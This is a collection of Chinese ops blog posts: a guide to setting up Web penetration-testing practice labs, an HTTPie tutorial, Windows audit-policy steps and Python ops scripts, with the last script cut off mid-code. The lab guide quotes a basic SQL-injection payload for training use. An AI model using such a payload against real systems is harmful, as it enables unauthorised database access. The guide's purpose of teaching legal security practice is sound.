别再瞎折腾了！这些Web渗透靶场让你从菜鸟变大神
最近有朋友问我，想学Web渗透测试但不知道从哪里下手，网上的教程看了一堆，理论倒是懂了不少，可一到实际操作就抓瞎。说实话，这种情况我见得太多了，就像学游泳一样，光看视频是永远学不会的，必须得下水扑腾几下才行。Web渗透测试这个领域，实践比理论重要得多。你可以把SQL注入的原理背得滚瓜烂熟，但如果没有在真实环境中操作过，遇到实际情况还是会懵圈。这时候靶场就显得特别重要了，它们提供了一个安全的练习环境，让你可以放心大胆地去"搞破坏"。我自己这些年也折腾过不少靶场，有些确实不错，有些就比较坑了。今天就跟大家分享一下我用过的那些靶场，包括详细的搭建过程，希望能帮到想入门或者提升技能的朋友们。DVWA - 我的启蒙老师说到Web渗透靶场，DVWA（Damn Vulnerable Web Application）绝对是绕不开的。这个靶场我第一次接触是在大学时期，当时对网络安全一窍不通，就是觉得黑客很酷想学学。DVWA最大的优点就是简单直接，而且搭建起来也不复杂。它把常见的Web漏洞都集中在一个应用里，包括SQL注入、XSS、CSRF、文件上传漏洞等等。更贴心的是，每个漏洞都有四个难度级别：Low、Medium、High和Impossible。DVWA搭建教程搭建DVWA有好几种方式，我推荐用Docker，简单粗暴。方法一：Docker部署（推荐）# 拉取镜像 docker pull vulnerables/web-dvwa # 运行容器 docker run --rm -it -p 80:80 vulnerables/web-dvwa就这么简单，打开浏览器访问http://localhost就能看到DVWA了。默认用户名是admin，密码是password。点击create database，创建靶场方法二：传统部署如果你不想用Docker，也可以手动搭建：先准备LAMP环境（Linux + Apache + MySQL + PHP）从GitHub下载DVWA源码：git clone https://github.com/digininja/DVWA.git把代码放到Apache的web目录下修改配置文件config/config.inc.php.dist，重命名为config.inc.php创建数据库，访问setup页面初始化说实话，第二种方法比较麻烦，特别是在Windows上搭建，各种环境问题能把人搞疯。我当年就是这么过来的，踩了无数坑。我记得当时第一次成功执行SQL注入的时候，那种兴奋感真的无法形容。在Low级别下，你甚至可以直接在输入框里输入1' or '1'='1这种最基础的payload就能成功，虽然现在看来很幼稚，但对新手来说这种成就感是很重要的。WebGoat - 教学式的好帮手WebGoat是OWASP项目下的一个靶场，说实话刚开始我对它印象一般，觉得太"教学化"了。但后来发现，正是这种教学化的设计让它变得很有价值。WebGoat搭建过程WebGoat基于Java开发，搭建相对简单：方法一：直接运行JAR包# 下载最新版本的jar包 wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jar # 运行 java -jar webgoat-server-8.2.2.jar --server.port=8080访问http://localhost:8080/WebGoat就可以了，需要先注册一个账号。方法二：Docker部署docker run -p 8080:8080 -t webgoat/goatandwolf这个镜像同时包含了WebGoat和WebWolf，WebWolf是一个辅助工具，可以帮你接收邮件、查看请求等。这个靶场最大的特点就是每个漏洞都有详细的说明和提示，就像有个老师在旁边指导你一样。比如在练习SQL注入的时候，它会告诉你应该关注哪些地方，可能的注入点在哪里，甚至会给出一些提示让你思考。我特别喜欢WebGoat的一点是它会跟踪你的学习进度，完成一个挑战后会有明确的反馈。这种游戏化的设计让学习过程不那么枯燥。bWAPP - 漏洞的百科全书bWAPP（buggy Web Application）这个靶场我是在工作后才接触到的，当时公司要做安全培训，同事推荐的。这个靶场最大的特点就是漏洞种类多，号称包含了100多种Web漏洞。bWAPP搭建指南bWAPP基于PHP开发，搭建过程：使用Docker（最简单）docker run -d -p 80:80 raesene/bwapp手动搭建下载源码：git clone https://github.com/ethicalhack3r/bWAPP.git配置LAMP环境修改admin/settings.php中的数据库配置访问install.php进行初始化我记得第一次打开bWAPP的时候被它的漏洞列表震惊了，密密麻麻一大堆，从A1到A10（OWASP Top 10）都有覆盖，还有很多其他类型的漏洞。不过这也是它的问题，选择太多反而不知道从哪里开始。有个小技巧，bWAPP可以设置不同的安全级别，建议从low开始练习，逐步提高难度。Mutillidae - 界面友好的练习场Mutillidae这个靶场我是偶然发现的，当时在找一个界面比较现代的练习环境，DVWA的界面实在是太丑了。Mutillidae的界面确实好看一些，而且功能也很全面。Mutillidae部署方法Docker方式docker run -d -p 80:80 -p 3306:3306 citizenstig/nowasp这个镜像包含了完整的LAMP环境和Mutillidae。手动安装准备LAMP环境下载源码到web目录访问应用，按照提示配置数据库重置数据库到默认状态Mutillidae有个很贴心的功能，就是可以随时重置数据库，这样你搞坏了什么都不用担心。而且它还有提示系统，可以给新手一些指导。我在练习文件上传漏洞的时候，Mutillidae的环境帮了很大忙。它不仅有基础的文件上传，还有各种绕过技巧的练习，比如修改文件扩展名、MIME类型绕过等等。Pikachu - 国产精品靶场说到国产靶场，Pikachu绝对值得一提。这是国内安全研究者开发的，最大的优势就是有中文文档，对国内用户很友好。Pikachu搭建教程Docker部署docker pull area39/pikachu docker run -d -p 80:80 area39/pikachu源码部署git clone https://github.com/zhuifengshaonianhanlu/pikachu.git然后配置好PHP环境，修改数据库连接信息就可以了。Pikachu的漏洞分类很清晰，包括暴力破解、XSS、SQL注入、RCE、文件包含等等。每个分类下面又有不同的子类型，比如SQL注入就分为数字型、字符型、搜索型等等。我特别喜欢它的一点是每个漏洞都有相应的源码展示，你可以直接看到漏洞是怎么产生的，这对理解漏洞原理很有帮助。VulnHub - 综合实战平台VulnHub严格来说不是一个靶场，而是一个靶机集合平台。上面有各种各样的虚拟机镜像，每个都是一个完整的渗透测试环境。VulnHub使用方法访问vulnhub.com选择合适难度的靶机下载虚拟机镜像用VMware或VirtualBox导入配置网络环境开始渗透我推荐几个适合新手的靶机：Metasploitable 2：经典入门靶机DVWA：就是前面说的那个BasicPentesting：专门为初学者设计VulnHub的好处是每个靶机都有完整的渗透路径，从信息收集到权限提升，是一个完整的渗透测试流程。不像前面那些靶场只是单个漏洞的练习。HackTheBox - 高手进阶之路HackTheBox（HTB）算是比较高端的平台了，上面的靶机质量都很高，而且会定期更新。不过它有个门槛，需要先通过一个入门挑战才能注册。HTB注册和使用访问hackthebox.eu完成invite challenge获取邀请码注册账号连接VPN开始挑战HTB分为免费和付费两种，免费用户可以访问部分退役的靶机，付费用户可以访问所有内容包括最新的靶机。我在HTB上学到了很多高级技巧，比如Active Directory渗透、容器逃逸、内网横向移动等等。不过对新手来说可能有点难，建议先在其他靶场练好基础再来挑战。搭建环境的一些建议说了这么多靶场，再聊聊搭建环境的一些经验。虚拟机隔离不管用哪种方式搭建，我都建议在虚拟机里进行。一是为了安全，二是方便管理。我一般用VMware Workstation，稳定性比较好。网络配置如果是本地练习，用NAT模式就够了。如果要模拟真实网络环境，可以配置多个网段，练习内网渗透。快照功能虚拟机的快照功能一定要用起来，每次重大操作前都做个快照，搞坏了可以快速恢复。我就经常把靶场搞崩溃，有快照就不怕了。工具准备除了靶场，还要准备好渗透测试工具。Kali Linux是个不错的选择，集成了大部分常用工具。当然也可以在Windows上安装单独的工具。学习路径建议对于新手，我建议这样的学习路径：从DVWA开始，熟悉基本概念用WebGoat深入学习各种漏洞在Pikachu上练习更多变种尝试VulnHub的简单靶机最后挑战HTB等高级平台不要贪多，每个靶场都要深入研究，把每种漏洞的原理和利用方法搞清楚。我见过很多人浅尝辄止，结果学了很久还是半桶水。另外，光练习还不够，要多看writeup，学习别人的思路和技巧。很多时候同一个漏洞有多种利用方式，多学几种总没坏处。实战中的注意事项虽然这些都是练习环境，但也要养成好习惯。比如做好记录，每次测试都要记录下过程和结果，这样以后遇到类似情况就有参考了。我自己有个习惯，每次发现新的攻击手法都会记录在笔记里，包括payload、利用条件、防护方法等等。时间长了这些笔记就成了宝贵的资料库。还有就是要理解漏洞的本质，不要只会用工具。工具只是辅助，理解原理才是根本。我见过很多人只会用sqlmap跑注入，但不知道注入的原理，这样遇到WAF或者特殊情况就懵了。一些踩过的坑说说我在搭建这些靶场时踩过的坑，希望大家能避免。端口冲突问题很多靶场默认都用80端口，如果同时运行多个就会冲突。解决办法是修改端口映射，比如把DVWA映射到8080，WebGoat映射到8081这样。权限问题在Linux上搭建时经常遇到权限问题，特别是文件上传功能。记得给web目录适当的写权限，但也不要设置得太宽松。数据库连接手动搭建时数据库连接是个常见问题。要确保MySQL服务正常运行，用户权限配置正确。我当年就因为这个问题折腾了好久。防火墙设置Windows的防火墙有时候会阻止访问，记得添加相应的规则。Linux上也要注意iptables的配置。进阶学习建议当你把基础靶场都练得差不多了，可以考虑一些进阶的内容：代码审计学会看源码找漏洞，这比黑盒测试更深入。可以从PHP开始，语法相对简单。内网渗透搭建一个小型的内网环境，练习横向移动、权限提升等技巧。移动端安全现在移动应用越来越多，可以学学Android应用的安全测试。云安全云服务的安全问题也很值得关注，AWS、Azure都有相关的练习环境。工具推荐除了靶场，再推荐几个常用的工具：Burp Suite：Web应用安全测试的神器，免费版功能就够用了。OWASP ZAP：开源的Web应用扫描器，功能很全面。Nmap：网络扫描工具，信息收集必备。Metasploit：渗透测试框架，集成了大量exploit。Wireshark：网络抓包分析工具，调试网络问题很有用。这些工具配合靶场使用，效果会更好。不过记住，工具只是辅助，关键还是要理解原理。法律和道德问题最后必须强调一下法律和道德问题。所有的学习和练习都必须在合法的环境中进行，绝对不能用学到的技术去攻击真实的系统。我见过一些人学了点皮毛就去搞破坏，结果进了局子。网络安全法可不是开玩笑的，违法成本很高。学习安全技术的目的是为了更好地保护系统，而不是去搞破坏。希望每个学习者都能够遵守法律法规，做一个有道德的安全研究人员。社区和资源学习过程中遇到问题是很正常的，这时候社区的作用就体现出来了。推荐几个不错的社区：FreeBuf：国内知名的安全媒体平台，有很多技术文章。先知社区：阿里的安全社区，质量比较高。看雪论坛：老牌的安全技术论坛。GitHub：很多安全工具和靶场的源码都在上面。Reddit的r/netsec：国外的安全讨论区。多参与社区讨论，不仅能学到知识，还能结识志同道合的朋友。我现在很多朋友都是在这些社区认识的。持续学习的重要性安全技术发展很快，新的攻击方式和防护技术层出不穷。要保持好奇心，多关注最新的安全资讯和技术动态。我每天都会花时间看安全新闻，了解最新的漏洞和攻击技术。虽然不是每个都用得上，但保持敏感度很重要。另外，参加一些安全会议也很有价值，比如KCon、GeekPwn等等。现场听大牛分享，收获会很大。职业发展方向如果你对安全技术很感兴趣，也可以考虑往这个方向发展。现在安全人才缺口很大，就业前景不错。可以考虑的方向有：渗透测试工程师安全开发工程师安全运维工程师安全研究员安全咨询顾问每个方向的要求不太一样，但基础的Web安全知识都是必需的。这些靶场就是很好的入门途径。写在最后Web渗透测试是一个需要大量实践的领域，这些靶场为我们提供了很好的练习环境。但记住，工具和环境只是辅助，最重要的还是要有持续学习的心态。我自己也是从小白一步步走过来的，深知学习过程中的困难和挫折。但只要坚持下去，总会有收获的。现在回头看，当年踩过的那些坑都是宝贵的经验。安全这个领域很有意思，每天都有新的挑战和发现。虽然有时候会很累，但那种解决问题后的成就感是其他工作很难给予的。如果你在搭建或使用这些靶场的过程中遇到问题，可以多查查文档，或者在相关社区求助。安全圈的氛围还是很好的，大家都愿意分享和帮助新人。最重要的是，所有的学习都要在合法的环境中进行。这些靶场就是为了让大家安全地学习，千万不要用学到的技术去攻击真实的系统。做一个有道德的安全研究人员，这是我们每个人的责任。祝大家学习愉快，早日成为安全大神！记住，没有什么是一蹴而就的，坚持练习，你一定能达到自己的目标。路虽然长，但只要方向对了，就不怕走得慢。如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
告别curl！这个命令行工具让API调试变得超简单
最近在调试接口的时候，突然想起来之前一个粉丝朋友推荐过的工具——HTTPie。说实话，当时我还挺不以为然的（再次感谢粉丝大哥的分享），毕竟curl用了这么多年，已经形成肌肉记忆了。但是前几天遇到一个复杂的POST请求，需要传JSON数据还要带各种header，curl命令写得我头都大了，这才想起来试试HTTPie。不试不知道，一试吓一跳！这玩意儿确实比curl好用太多了。今天就来跟大家分享一下我这段时间使用HTTPie的心得体验。什么是HTTPie官方文档地址：https://httpie.io/docs/desktopHTTPie是一个用Python写的命令行HTTP客户端，专门用来测试、调试和与HTTP服务器交互。它的设计理念就是简单易用，语法直观，输出美观。相比curl那一堆参数，HTTPie的语法更接近自然语言。我记得第一次用curl的时候，光是记住那些参数就花了好长时间。-X指定方法，-H添加header，-d传数据...每次都要翻文档。HTTPie就不一样了，基本上看一眼就能明白什么意思。安装HTTPie安装过程很简单，支持多种方式：# 使用pip安装 pip install httpie # macOS用户可以用brew brew install httpie # Ubuntu/Debian sudo apt install httpie # CentOS/RHEL sudo yum install httpie我一般习惯用apt装，因为可以装到最新版本。装完之后就可以用http命令了，注意不是httpie。基本语法和使用HTTPie的基本语法格式是这样的：http [方法] URL [项目]最简单的GET请求：http httpbin.org/get就这么简单！不需要指定GET方法，因为默认就是GET。输出结果还是彩色的，JSON格式也会自动美化，看起来特别舒服。如果要发POST请求：http POST httpbin.org/post name=张三 age:=25注意这里的语法，name=张三表示发送表单数据，age:=25表示发送JSON数据（注意冒号）。这比curl的-d参数直观多了。处理不同类型的数据JSON数据发送JSON数据超级简单：http POST api.example.com/users name=john email=john@example.com age:=30 active:=true这会自动生成JSON格式：{ "name": "john", "email": "john@example.com", "age": 30, "active": true }如果你已经有现成的JSON文件，也可以直接读取：http POST api.example.com/users < user.json表单数据发送表单数据用等号：http --form POST httpbin.org/post name=张三 password=123456或者简写：http -f POST httpbin.org/post name=张三 password=123456文件上传上传文件也很方便：http --form POST httpbin.org/post file@/path/to/file.txt我之前用curl上传文件，总是记不住那个-F参数的格式，HTTPie这种方式就很直观。设置请求头添加请求头用冒号：http GET api.example.com/data Authorization:"Bearer token123" Content-Type:application/json常用的认证方式HTTPie也有简化写法：# Basic认证 http -a username:password GET api.example.com/protected # Bearer token http GET api.example.com/data Authorization:"Bearer $(cat token.txt)"我经常需要调试需要认证的API，这个功能真的很实用。会话管理HTTPie有个很棒的功能叫会话（Session），可以在多个请求之间保持状态。比如登录后的cookie、认证信息等。创建一个会话：http --session=mysession POST api.example.com/login username=admin password=secret然后在后续请求中使用这个会话：http --session=mysession GET api.example.com/profile这样就不用每次都重新输入认证信息了。会话文件默认保存在~/.httpie/sessions/目录下。输出控制HTTPie的输出控制很灵活，可以选择显示什么内容：# 只显示响应体 http --body GET httpbin.org/get # 只显示响应头 http --headers GET httpbin.org/get # 显示请求和响应的所有内容 http --verbose GET httpbin.org/get # 不显示响应体（适合大文件） http --headers GET example.com/bigfile.zip还可以控制输出格式：# 不美化JSON输出 http --json GET httpbin.org/get # 输出原始内容 http --raw GET httpbin.org/get实际应用场景调试REST API我最常用HTTPie的场景就是调试REST API。比如测试一个用户管理接口：# 获取用户列表 http GET localhost:8080/api/users # 创建新用户 http POST localhost:8080/api/users name=测试用户 email=test@example.com # 更新用户信息 http PUT localhost:8080/api/users/1 name=更新后的用户名 # 删除用户 http DELETE localhost:8080/api/users/1语法清晰明了，比curl舒服多了。测试webhook测试webhook的时候，经常需要模拟各种POST请求：http POST webhook.site/unique-id event=user_created user_id:=123 timestamp:=$(date +%s)下载文件虽然wget和curl下载文件很方便，但HTTPie也可以：http --download GET example.com/file.zip会显示下载进度，文件名也会自动识别。配置文件HTTPie支持配置文件，可以设置默认的行为。配置文件位置在~/.httpie/config.json：{ "default_options": [ "--style=monokai", "--timeout=60" ], "implicit_content_type": "json" }我一般会设置超时时间和默认的颜色主题。HTTPie支持多种颜色主题，可以用http --style=help查看所有可用主题。插件系统HTTPie还有插件系统，可以扩展功能。比如：# 安装JWT认证插件 pip install httpie-jwt-auth # 使用JWT认证 http --auth-type=jwt --auth=secret GET api.example.com/protected虽然我用插件不多，但这个扩展性还是很不错的。与curl的对比说了这么多HTTPie的好处，也不是说curl就没用了。curl功能更强大，支持的协议更多，在脚本中使用也更稳定。但是对于日常的HTTP调试工作，HTTPie确实更方便。举个例子，同样是发送一个带认证的POST请求：curl的写法：curl -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer token123" \ -d '{"name":"john","age":30}' \ https://api.example.com/usersHTTPie的写法：http POST api.example.com/users Authorization:"Bearer token123" name=john age:=30哪个更简洁一目了然。一些使用技巧使用别名我在.bashrc里设置了一些常用的别名：alias httpj='http --json' alias httpf='http --form' alias httpd='http --download'这样用起来更快。结合jq使用HTTPie的JSON输出已经很美观了，但有时候需要提取特定字段，可以结合jq：http GET api.github.com/users/octocat | jq '.name'保存请求和响应调试的时候经常需要保存请求响应内容：http GET httpbin.org/get > response.json或者同时保存请求和响应：http --verbose GET httpbin.org/get > debug.log 2>&1环境变量可以把常用的URL或token设置为环境变量：export API_BASE=https://api.example.com export API_TOKEN=your_token_here http GET $API_BASE/users Authorization:"Bearer $API_TOKEN"这样切换不同环境就很方便了。踩过的坑用HTTPie这段时间也踩了一些坑，分享给大家避免重复踩坑。特殊字符转义URL中有特殊字符的时候需要注意转义，特别是查询参数：# 错误的写法 http GET api.example.com/search q=hello world # 正确的写法 http GET api.example.com/search q=="hello world"注意双等号的用法。数字类型JSON中的数字要用:=，不然会被当作字符串：# 这样age会是字符串"25" http POST api.example.com/users name=john age=25 # 这样age才是数字25 http POST api.example.com/users name=john age:=25我刚开始用的时候经常忘记这个，导致后端接收到错误的数据类型。中文编码处理中文的时候偶尔会遇到编码问题，一般设置一下环境变量就好了：export LC_ALL=en_US.UTF-8大文件处理下载大文件的时候，默认HTTPie会把整个响应加载到内存中，可能会导致内存不足。这时候用--download参数：http --download GET example.com/bigfile.zip高级用法自定义请求方法HTTPie支持任意的HTTP方法：http PATCH api.example.com/users/1 name=newname http OPTIONS api.example.com/users重定向控制默认HTTPie会跟随重定向，可以控制这个行为：# 不跟随重定向 http --follow=0 GET example.com # 最多跟随5次重定向 http --max-redirects=5 GET example.com代理设置需要通过代理访问的时候：http --proxy=http:http://proxy.example.com:8080 GET api.example.com或者设置环境变量：export http_proxy=http://proxy.example.com:8080 export https_proxy=http://proxy.example.com:8080超时设置网络不好的时候可以调整超时时间：http --timeout=30 GET slow-api.example.com实战案例最后分享一个实际的使用案例。前段时间我们要调试AWS Lambda函数，需要测试各种触发场景和参数组合。我们有个Lambda函数用来处理用户注册事件，需要测试不同的输入参数和边界情况。虽然可以在AWS控制台测试，但用HTTPie调试Function URL更直观快捷。首先配置Lambda函数的Function URL（这个在AWS控制台设置），然后就可以用HTTPie直接调用了：# 测试正常的用户注册 http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ event_type=user_register \ user_id:=12345 \ email=test@example.com \ username=testuser测试异常情况，比如缺少必要参数：# 测试缺少email参数的情况 http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ event_type=user_register \ user_id:=12345 \ username=testuser测试不同的事件类型：# 测试用户登录事件 http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ event_type=user_login \ user_id:=12345 \ login_time:=$(date +%s) \ ip_address=192.168.1.100 # 测试用户注销事件 http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ event_type=user_logout \ user_id:=12345 \ session_duration:=3600有时候需要测试大量数据的处理：# 批量用户数据处理 http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ event_type=batch_process \ users:='[{"id":1,"name":"user1"},{"id":2,"name":"user2"}]' \ batch_size:=100调试Lambda函数的时候，HTTPie的输出格式化特别有用。Lambda返回的错误信息、执行时间、内存使用情况都能清晰地看到：http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ invalid_param=test返回结果类似：{ "errorMessage": "Missing required parameter: event_type", "errorType": "ValidationError", "requestId": "12345-abcde-67890", "stackTrace": [ "..." ] }我还会用HTTPie测试Lambda的性能，比如冷启动时间：# 连续调用几次，观察响应时间差异 time http POST https://abcd1234.lambda-url.us-east-1.on.aws/ event_type=ping sleep 300 # 等待5分钟让函数冷却 time http POST https://abcd1234.lambda-url.us-east-1.on.aws/ event_type=ping对于需要认证的Lambda函数，可以配合AWS CLI获取临时token：# 获取临时token TOKEN=$(aws sts get-session-token --query 'Credentials.SessionToken' --output text) # 带认证调用Lambda http POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ Authorization:"Bearer $TOKEN" \ event_type=protected_action \ user_id:=12345还可以测试Lambda函数的超时处理：# 测试长时间运行的任务 http --timeout=30 POST https://abcd1234.lambda-url.us-east-1.on.aws/ \ event_type=long_task \ duration:=25用HTTPie调试Lambda比在控制台点来点去快多了，特别是需要频繁测试不同参数组合的时候。而且可以很容易地把测试命令保存成脚本，方便回归测试。整个调试过程用HTTPie特别顺畅，比用Postman或者直接写SDK代码都要快。特别是那个JSON格式化输出，Lambda返回的复杂数据结构看起来很清晰。总结我觉得它最大的优点就是简单直观。语法接近自然语言，输出美观易读，对于日常的API调试工作来说真的很方便。特别是那个会话功能，调试需要认证的API时特别有用。当然curl作为老牌工具，在某些场景下还是不可替代的，比如复杂的脚本、性能测试、支持更多协议等。但对于大部分开发者的日常HTTP调试需求，HTTPie绝对是个更好的选择。如果你还在用curl调试API，强烈建议试试HTTPie。相信我，用过之后你就回不去了...就像当年从记事本切换到IDE一样，工具的进步确实能提高工作效率。HTTPie还有很多高级功能我这里没有涉及到，比如插件系统、自定义认证方式等。大家可以去官网看看文档，或者直接http --help查看帮助。另外HTTPie还有桌面版本叫HTTPie Desktop，提供图形界面，不过我还是更喜欢命令行版本，毕竟习惯了敲命令。你们平时都用什么工具调试API呢？有没有其他好用的命令行工具推荐？如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
全面掌控Windows服务器安全：审计策略配置与日志管理完全指南
最近客户又出了安全事故，一些服务器上一些数据文件莫名丢失。说实话，做了这么多年运维，每次出事故都是这样，平时不重视，出了问题就开始各种要求。今天就跟大家聊聊Windows Server安全加固中的审计配置，这个话题可能有点枯燥，但真的很重要。我记得去年有个朋友的公司被黑了，事后调查发现连基本的登录审计都没开，想查都查不到什么有用信息，最后只能重装系统了事。基础审计策略配置Windows Server的审计策略分为两个层面：本地安全策略和组策略。对于单台服务器，我们可以通过本地安全策略来配置；如果是域环境，建议通过组策略统一管理。打开本地安全策略的方法很简单，运行secpol.msc就行了。在安全设置下面有个本地策略，里面就是审计策略。不过这里有个坑，Windows Server 2008以后的版本，微软把审计策略分成了基本审计和高级审计两套体系。基本审计策略比较粗糙，只有9个大类：审计账户登录事件审计账户管理审计目录服务访问审计登录事件审计对象访问审计策略更改审计特权使用审计进程跟踪审计系统事件这些看起来挺全面，但实际使用中你会发现粒度太粗了。比如说账户管理，它包括了用户创建、删除、密码修改等等操作，你没法单独控制某一种操作的审计。开启审计功能第一步：在运行或者CMD中输入gpedit.msc第二步：在组策略中定位到日志策略第三步：开启全部审计日志开启审计功能结束配置审计空间第一步：在运行/CMD窗口中输入compmgmt.msc打开计算机管理第二步：如图打开属性界面（理论上应用/系统和安全模块都需要配置，这里以安全为例子）第三步：配置空间大小，根据C盘来，可以先配置1GB。如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
运维老司机必备！5个Python脚本让你的工作效率翻倍
最近在整理自己的脚本库，发现这些年积累下来的Python脚本真是不少。想起刚入行那会儿，每天都在重复做一些机械性的工作，后来慢慢学会了用Python来解决这些问题，工作效率确实提升了不少。今天就分享5个我平时用得最多的Python运维脚本，都是在Debian 13环境下测试过的，基本上覆盖了日常运维工作的方方面面。这些脚本不算复杂，但真的很实用，希望能帮到正在做运维的朋友们。1. 系统资源监控脚本这个脚本我几乎每天都在用，可以实时监控CPU、内存、磁盘使用情况。比那些复杂的监控系统轻量多了，而且可以根据自己的需求随时调整。#!/usr/bin/env python3 import psutil import time import datetime def get_system_info(): # CPU使用率 cpu_percent = psutil.cpu_percent(interval=1) # 内存信息 memory = psutil.virtual_memory() memory_percent = memory.percent memory_used = round(memory.used / 1024 / 1024 / 1024, 2) memory_total = round(memory.total / 1024 / 1024 / 1024, 2) # 磁盘信息 disk = psutil.disk_usage('/') disk_percent = round((disk.used / disk.total) * 100, 2) disk_used = round(disk.used / 1024 / 1024 / 1024, 2) disk_total = round(disk.total / 1024 / 1024 / 1024, 2) # 网络IO net_io = psutil.net_io_counters() return { 'timestamp': datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'cpu_percent': cpu_percent, 'memory_percent': memory_percent, 'memory_used': memory_used, 'memory_total': memory_total, 'disk_percent': disk_percent, 'disk_used': disk_used, 'disk_total': disk_total, 'bytes_sent': round(net_io.bytes_sent / 1024 / 1024, 2), 'bytes_recv': round(net_io.bytes_recv / 1024 / 1024, 2) } def monitor_system(): while True: info = get_system_info() print(f"[{info['timestamp']}]") print(f"CPU使用率: {info['cpu_percent']}%") print(f"内存使用: {info['memory_used']}GB/{info['memory_total']}GB ({info['memory_percent']}%)") print(f"磁盘使用: {info['disk_used']}GB/{info['disk_total']}GB ({info['disk_percent']}%)") print(f"网络IO: 发送 {info['bytes_sent']}MB, 接收 {info['bytes_recv']}MB") print("-" * 50) # 如果资源使用率过高，可以在这里添加告警逻辑 if info['cpu_percent'] > 80 or info['memory_percent'] > 85: print("⚠️ 警告：系统资源使用率过高！") time.sleep(10) if __name__ == "__main__": monitor_system()这个脚本的好处是可以持续监控，而且输出格式比较清晰。我一般会在服务器上后台运行，然后把输出重定向到日志文件里。2. 批量服务器SSH连接检测管理多台服务器的时候，经常需要检查哪些机器能正常SSH连接。手动一台台去ping太麻烦了，这个脚本可以批量检测。#!/usr/bin/env python3 import paramiko import threading import queue import time class SSHChecker: def __init__(self, hosts_file, username, password=None, key_file=None): self.hosts = self.load_hosts(hosts_file) self.username = username self.password = password self.key_file = key_file self.results = queue.Queue() def load_hosts(self, hosts_file): try: with open(hosts_file, 'r') as f: return [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"主机列表文件 {hosts_file} 不存在") return [] def check_ssh_connection(self, host, port=22): try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if self.key_file: ssh.connect(host, port=port, username=self.username, key_filename=self.key_file, timeout=10) else: ssh.connect(host, port=port, username=self.username, password=self.password, timeout=10) # 执行一个简单命令测试 stdin, stdout, stderr = ssh.exec_command('uptime') uptime_info = stdout.read().decode().strip() ssh.close() self.results.put((host, True, uptime_info)) except Exception as e: self.results.put((host, False, str(e))) def batch_check(self, max_threads=10): threads = [] for host in self.hosts: if len(threads) >= max_threads: # 等待一些线程完成 for t in threads: if not t.is_alive(): threads.remove(t) time.sleep(0.1) thread = threading.Thread(target=self.check_ssh_connection, args=(host,)) thread.start() threads.append(thread) # 等待所有线程完成 for thread in threads: thread.join() # 输出结果 success_count = 0 failed_hosts = [] while not self.results.empty(): host, status, info = self.results.get() if status: print(f"✅ {host}: 连接成功 - {info}") success_count += 1 else: print(f"❌ {host}: 连接失败 - {info}") failed_hosts.append(host) print(f"\n总计: {len(self.hosts)} 台服务器") print(f"成功: {success_count} 台") print(f"失败: {len(failed_hosts)} 台") if failed_hosts: print(f"失败的主机: {', '.join(failed_hosts)}") # 使用示例 if __name__ == "__main__": # 创建主机列表文件 hosts.txt hosts_content = """192.168.1.10 192.168.1.11 192.168.1.12 10.0.0.100""" with open('hosts.txt', 'w') as f: f.write(hosts_content) checker = SSHChecker('hosts.txt', 'root', password='your_password') # 或者使用密钥文件 # checker = SSHChecker('hosts.txt', 'root', key_file='/root/.ssh/id_rsa') checker.batch_check()这个脚本支持密码和密钥两种认证方式，而且是多线程的，检测速度比较快。我经常用它来检查新部署的服务器是否配置正确。3. 日志文件分析和清理日志文件管理是运维工作中很重要的一部分，这个脚本可以分析日志文件大小，并且自动清理过期的日志。#!/usr/bin/env python3 import os import glob import gzip import shutil from datetime import datetime, timedelta class LogManager: def __init__(self, log_dirs): self.log_dirs = log_dirs if isinstance(log_dirs, list) else [log_dirs] def get_log_files_info(self): log_info = [] for log_dir in self.log_dirs: if not os.path.exists(log_dir): print(f"目录不存在: {log_dir}") continue # 查找所有日志文件 patterns = ['*.log', '*.log.*', '*.out'] for pattern in patterns: files = glob.glob(os.path.join(log_dir, pattern)) for file_path in files: try: stat = os.stat(file_path) size_mb = round(stat.st_size / 1024 / 1024, 2) mtime = datetime.fromtimestamp(stat.st_mtime) log_info.append({ 'path': file_path, 'size_mb': size_mb, 'modified_time': mtime, 'age_days': (datetime.now() - mtime).days }) except OSError: continue return sorted(log_info, key=lambda x: x['size_mb'], reverse=True) def analyze_logs(self): log_files = self.get_log_files_info() if not log_files: print("没有找到日志文件") return total_size = sum(f['size_mb'] for f in log_files) print(f"日志文件分析报告 ({datetime.now().strftime('%Y-%m-%d %H:%M:%S')})") print("=" * 80) print(f"总文件数: {len(log_files)}") print(f"总大小: {total_size:.2f} MB") print() print("前10个最大的日志文件:") print("-" * 80) for i, log_file in enumerate(log_files[:10], 1): print(f"{i:2d}. {log_file['path']}") print(f" 大小: {log_file['size_mb']} MB, " f"修改时间: {log_file['modified_time'].strftime('%Y-%m-%d %H:%M')}, " f"天数: {log_file['age_days']} 天") # 统计不同时间段的文件 recent_files = [f for f in log_files if f['age_days'] <= 7] old_files = [f for f in log_files if f['age_days'] > 30] print(f"\n最近7天的文件: {len(recent_files)} 个, " f"大小: {sum(f['size_mb'] for f in recent_files):.2f} MB") print(f"超过30天的文件: {len(old_files)} 个, " f"大小: {sum(f['size_mb'] for f in old_files):.2f} MB") def compress_old_logs(self, days_threshold=7): log_files = self.get_log_files_info() compressed_count = 0 saved_space = 0 for log_file in log_files: if 